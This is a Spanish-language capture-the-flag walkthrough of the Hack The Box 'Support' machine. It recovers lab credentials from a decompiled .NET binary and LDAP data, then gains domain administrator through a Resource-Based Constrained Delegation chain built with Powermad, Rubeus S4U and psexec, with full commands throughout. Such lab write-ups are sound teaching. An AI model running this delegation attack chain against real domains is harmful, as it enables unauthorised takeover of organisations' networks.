# Support Writeup

Iniciamos con un escaneo de puertos:

`$ nmap -sV -Pn -sC -v -T4 10.10.11.174`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759874818636/4ba65eea-8d04-42ff-b2c2-e7be752af1e2.png align="left")

Enumeramos los shares disponibles como **guest** utilizando **netexec**:

`$ nxc smb 10.10.11.174 -u guest -p '' --shares`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759874874627/ec8f379c-db7f-4508-8cc2-31566aea774c.png align="left")

Como podemos observar, tenemos permisos de lectura sobre **support-tools**

Nos conectamos a **support-tools** utilizando **smbclient**:

`$ smbclient //10.10.11.174/support-tools guest`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759874908535/86bab711-9bb1-4b22-8407-d7be95309608.png align="left")

Una vez dentro, veremos varios archivos **.exe** y **.zip** de herramientas como 7zip, Notepad, Putty, WinDirStat y WireShark, ademas de 2 archivos interesantes que son [**UserInfo.exe.zip**](http://UserInfo.exe.zip) y [**SysinternalsSuite.zip**](http://SysinternalsSuite.zip)

Descargamos [**UserInfo.exe.zip**](http://UserInfo.exe.zip) y [**SysinternalsSuite.zip**](http://SysinternalsSuite.zip) con el comando **get**:

`get SysinternalsSuite.zip`

`get UserInfo.exe.zip`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875034206/492a097e-cc6d-4f0d-80b6-ef06a52cde10.png align="left")

Si descomprimimos la carpeta [**UserInfo.exe.zip**](http://UserInfo.exe.zip) veremos que hay varios archivos **.dll**, el ejecutable **UserInfo.exe** y su archivo de configuracion **UserInfo.exe.config**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875055917/a0a539fe-5ded-4b76-98fc-813bdce1b61e.png align="left")

Si revisamos el archivo de configuracion, veremos que el archivo **UserInfo.exe** se trata de un archivo ejecutable para Windows ensamblado en .Net

Si buscamos en Google un desensamblador para .net en github obtendremos varios resultados, entre ellos ILSpy y dnSpy

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875076256/f6768619-0cd9-4073-8b16-fb8c1d699db9.png align="left")

Como ILSpy me dio algunos problemas, opte por utilizar **dnSpy** para decompilar el **UserInfo.exe** ya que su estructura esta basada en **.NET**:

[https://github.com/dnSpy/dnSpy](https://github.com/dnSpy/dnSpy)

Una vez decompilado el **UserInfo.exe** se nos creara un archivo dentro de la carpeta **/decompiled** llamado **UserInfo.decompiled.cs**

Revisamos el contenido de **UserInfo.decompiled.cs** en busqueda de claves con:

`$ cat UserInfo.decompiled.cs | grep "password"`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875114733/21e7a762-95b5-44b0-a18e-eb69a16fa36e.png align="left")

Como podemos observar, hay una clave encodeada para lo que parece ser el usuario **ldap**

Si revisamos el codigo del archivo **UserInfo.decompiled.cs** veremos que tiene una private key la cual es "armando" esta private key nos permitira decodear la clave final

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875133513/18244927-630c-46ca-8656-f31d8c19d570.png align="left")

Enumeramos los usuarios del sistema bruteando el RID con **netexec**:

`$ nxc smb 10.10.11.174 -u guest -p '' --rid-brute`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875146281/24e8d13d-94eb-457c-83f4-d359fa8556b8.png align="left")

Armamos un script simple para decodear la clave:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875161181/5b608a60-17a5-4381-a762-65cc37712a08.png align="left")

Tras ejecutarlo, obtendremos la clave decodeada del usuario **ldap** la cual es `nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz`

Realizamos un escaneo del AD con **bloodhound** utilizando las credenciales previamente obtenidas:

`$ bloodhound-python -d support.htb -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -ns 10.10.11.174 -c All --zip`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875225509/325fde48-3c41-455f-9228-dee04ba45421.png align="left")

Vemos que el usuario **LDAP** es miembro del **DOMAIN USERS**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875238857/72e8f50b-7c50-4704-8f39-c4afb704c328.png align="left")

Si revisamos el escaneo, veremos que hay muchos usuarios mas dentro del sistema

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875257105/d5bcdffa-d9dd-49b7-b941-4d99a456f774.png align="left")

Como no encontramos mucha informacion que nos permita continuar con la escalada, procedemos a utilizar ldapsearch para validar las credenciales y que dumpee todos los objetos que encuentre en el AD:

`ldapsearch -x -H ldap://10.10.11.174 -D 'SUPPORT\LDAP' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=SUPPORT,DC=HTB"`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875274340/84f243dc-74de-4f5b-be92-c0e7f56ad00c.png align="left")

Si revisamos, veremos que el escaneo tambien nos arroja la clave del usuario **support** en el campo **info: Ironside47pleasure40Watchful**

`$ evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875295500/fdc91a38-37d8-4a6e-bcfa-b04417fac128.png align="left")

**User Flag:** `3bcb9669db94994002439aa221e0a999`

---

Si revisamos el escaneo de **bloodhound** realizado previamente, veremos que el usuario **SUPPORT** es miembro de **REMOTE MANAGMENT USERS** lo cual habilita que sea posible la conexion mediante **evil-winrm**. Es miembro del **DOMAIN USERS**, los usuarios del dominio. Y tambien es miembro del grupo **SHARED SUPPORT ACCOUNTS**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875324528/cc1fbbea-b14e-46cf-906f-88d49d9d86b3.png align="left")

Si revisamos mas al detalle, veremos que **SHARED SUPPORT ACCOUNTS** tiene permisos de **GenericAll** sobre el Domain Control

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875337724/45f2b2a5-a859-4250-bfaa-7a95b6713869.png align="left")

Esto habilita varios ataques, entre ellos el **Resource-Based Constrained Delegation (RBCD)** que nos sugiere **bloodhound**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875352793/91aa6c86-c85a-4472-8493-5ee03dc65a33.png align="left")

El **Resource-Based Constrained Delegation (RBCD)** o Delegacion Restringida Basada en Recursos, como su nombre indica, es la delegacion basada en recursos dentro del AD, esto permite que un equipo (objeto computadora) actue en nombre de usuarios cuando accede a servicios de otro equipo, por ejemplo:

Supongamos que hay dos servidores:

* El **Servidor A** (que ya controlo).
    
* El **Servidor B** (al que quiero llegar).
    

Normalmente, solo el administrador de **B** decide quién puede delegar y acceder.  
Pero con **RBCD**, el **Servidor A** puede “anotarse solo en la lista” de **B** como alguien autorizado.

¿El resultado? Desde **A** puedo hacerme pasar por cualquier usuario ante **B** (incluso un admin) y así entrar a lugares donde no debería.

En este caso, como estamos desde el usuario **support** que es miembro del grupo **SHARED SUPPORT ACCOUNTS** que tiene permisos de GenericAll sobre el **Domain Control** lo que podriamos hacer es crear una maquina (objeto computadora) que actue como si fuese el administrador al agregarlo al  
`msDS-AllowedToActOnBehalfOfOtherIdentity` (que seria como la "lista de invitados del servidor", la cual dice que maquinas estan autorizadas a entrar y actuar en nombre de otros usuarios) para finalmente pedir un ticket de **Kerberos** con el fin de autenticarnos como administrador en el Domain Control.

Primero vamos a verificar que podemos crear maquinas utilizando **netexec**:

`$ nxc ldap 10.10.11.174 -u support -p 'Ironside47pleasure40Watchful' -M maq`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875390089/5aa76292-baaa-4c1f-a82a-9d0014e6375d.png align="left")

Como podemos observar el **MachineAccountQuota** es 10, lo que significa que podemos crear hasta 10 cuentas de equipo

El ataque se puede realizar tanto desde Windows, mediante la sesion de **evil-winrm** como desde nuestra maquina linux. En este caso, para realizar el ataque desde la sesion de **evil-winrm** como el usuario **support**, si revisamos la recomendacion de **bloodhound**, para realizar el ataque vamos a necesitar 3 herramientas:

* [**Powermad.ps**](http://Powermad.ps)**1**: Para la explotacion del **MachineAccountQuota**.
    
* [**Powerview.ps**](http://Powerview.ps)**1**: Para interactuar con **PowerShell** y enumerar/configurar AD.
    
* **Rubeus.exe**: Para la manipulacion de Kerberos y obtencion de tickets.
    

Subimos las 3 herramientas a nuestra sesion de **evil-winrm** con:

`upload Powermad.ps1`

`upload Powerview.ps1`

`upload Rubeus.exe`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875470391/5a32022b-920a-4b83-8b65-b0e29bcf15fe.png align="left")

Creamos la cuenta de máquina `PWNED$` con contraseña `Pwned1337#` para usarla en la explotación de delegación:

`New-MachineAccount -MachineAccount PWNED -Password $(ConvertTo-SecureString 'Pwned1337#' -AsPlainText -Force) -Verbose`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875496603/8a0e4ab9-36d5-4e10-bc85-115b1452b7b6.png align="left")

Asignamos `PWNED$` en `PrincipalsAllowedToDelegateToAccount` del equipo DC para habilitar RBCD:

`Set-ADComputer DC -PrincipalsAllowedToDelegateToAccount PWNED$`

Verificamos que `PWNED$` aparece en `PrincipalsAllowedToDelegateToAccount` del DC

`Get-ADComputer DC -Properties PrincipalsAllowedToDelegateToAccount`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875525029/b5e0bf6b-b33b-4819-9aa0-950e030c863b.png align="left")

Generamos las claves derivadas de la contraseña de `PWNED$` para poder solicitar tickets Kerberos:

`.\Rubeus.exe hash /password:Pwned1337# /user:PWNED$ /domain:support.htb`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875540904/e1a6ac33-c9a4-4a0c-b3c5-e0cfd67ec2cf.png align="left")

Con Rubeus realizamos S4U2self+S4U2proxy usando la clave de `PWNED$` para obtener e inyectar un TGS por `cifs/dc.support.htb` que nos permite impersonar a `administrator`:

`.\Rubeus.exe s4u /user:PWNED$ /rc4:C21C33DBE899772558DAE64F166A04A7 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb/support.htb /ptt`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875581372/9062bd78-fd4a-4650-878c-0f1888b46801.png align="left")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875593598/ddc90876-8665-400b-bc27-5d485a906ba3.png align="left")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875604545/08f391f2-e394-4d6a-8f3b-134100a7c11c.png align="left")

> S4U2self + S4U2proxy
> 
> * **S4U2self:** un servicio autenticado (p. ej. `PWNED$`) solicita al KDC un ticket intermedio que le permite **actuar en nombre de otro usuario** (por ejemplo `Administrator`) sin conocer la contraseña de ese usuario.
>     
> * **S4U2proxy:** usando ese ticket intermedio, el servicio pide al KDC un **TGS** para un servicio objetivo (p. ej. `cifs/dc.support.htb`) *en nombre* del usuario impersonado.
>     
> * **Juntos:** permiten que una identidad controlada (`PWNED$`) impersone a `Administrator` frente a un servicio remoto **si y solo si** la cuenta está autorizada para delegar hacia ese servicio (RBCD: `msDS-AllowedToActOnBehalfOfOtherIdentity` / `PrincipalsAllowedToDelegateToAccount`). En este caso, Rubeus ejecutó S4U2self + S4U2proxy y devolvió el TGS para `cifs/dc.support.htb` impersonando a `Administrator`; ese ticket fue convertido/inyectado y verificado con `klist` antes de usarlo con `psexec`.
>     
> 
> ---
> 
> Por lo tanto, el comando que pusimos previamente:
> 
> 1. **Autentica** como `PWNED$` ante el KDC usando el RC4 hash (`/rc4`) — construye la petición necesaria. (AS-REQ / PA-ENC-TIMESTAMP o equivalente).
>     
> 2. **S4U2self**: pide al KDC un ticket que represente a `PWNED$` *actuando como* `administrator`. El KDC devuelve un ticket de servicio (no necesariamente un TGS para el SPN final; es un ticket que prueba la identidad impersonada).
>     
> 3. **S4U2proxy**: con el ticket de S4U2self, solicita al KDC un **TGS para** `cifs/dc.support.htb` donde la identidad asociada al ticket sea `administrator`. El KDC valida: ¿`PWNED$` está autorizado a delegar hacia ese SPN en el objeto DC? Si la respuesta es sí (RBCD presente), emite el TGS para `cifs/dc.support.htb` con **principal = administrator**.
>     
> 4. Rubeus muestra la salida: normalmente imprime confirmación, la base64 del ticket `.kirbi` y si pedimos `/ptt` (Pass The Ticket) intenta inyectarlo en LSA.
>     
> 5. Resultado: obtenemos un TGS usable para autenticación SMB **como Administrator**.
>     

Convertimos el ticket kirbi obtenido a un `admin.ccache` para que las herramientas clientes lo usen:

`$ minikerberos-kirbi2ccache ticket.kirbi_b64 admin.ccache`

Apuntamos `KRB5CCNAME` al ccache con el ticket impersonado:

`$ export KRB5CCNAME=admin.ccache`

Comprobamos en `klist` que existe el TGS para `cifs/dc.support.htb` y que la identidad efectiva es `administrator`:

`$ klist`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875674701/0d30314a-1267-4215-b5f0-6e0df44476fd.png align="left")

Ejecutamos `psexec` con Kerberos (-k, -no-pass) usando el ticket cargado para obtener ejecución remota en el DC como Administrator:

`$ psexec.py -k -no-pass support.htb/administrator@dc.support.htb -dc-ip 10.10.11.174 -target-ip 10.10.11.174`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875690087/ecd1adfb-cc2c-4714-ba37-3911038fb4e3.png align="left")

Obtenemos la flag de root

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759875704910/4c994594-498c-4466-935c-a3fc1cb142e6.png align="left")

**Root Flag:** `e2527c507d443f79fb6a13053f868e0b`

---

📌 **Sígueme / Portfolio**

🌐 **Web:** [https://0xnano.com](https://0xnano.com/)

🐦 **X:** [https://x.com/0xN4no](https://x.com/0xN4no)

🐙 **GitHub:** [https://github.com/0xN4no](https://github.com/0xN4no)

![Nano](https://www.hackthebox.eu/badge/image/54373 align="left")

🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.

---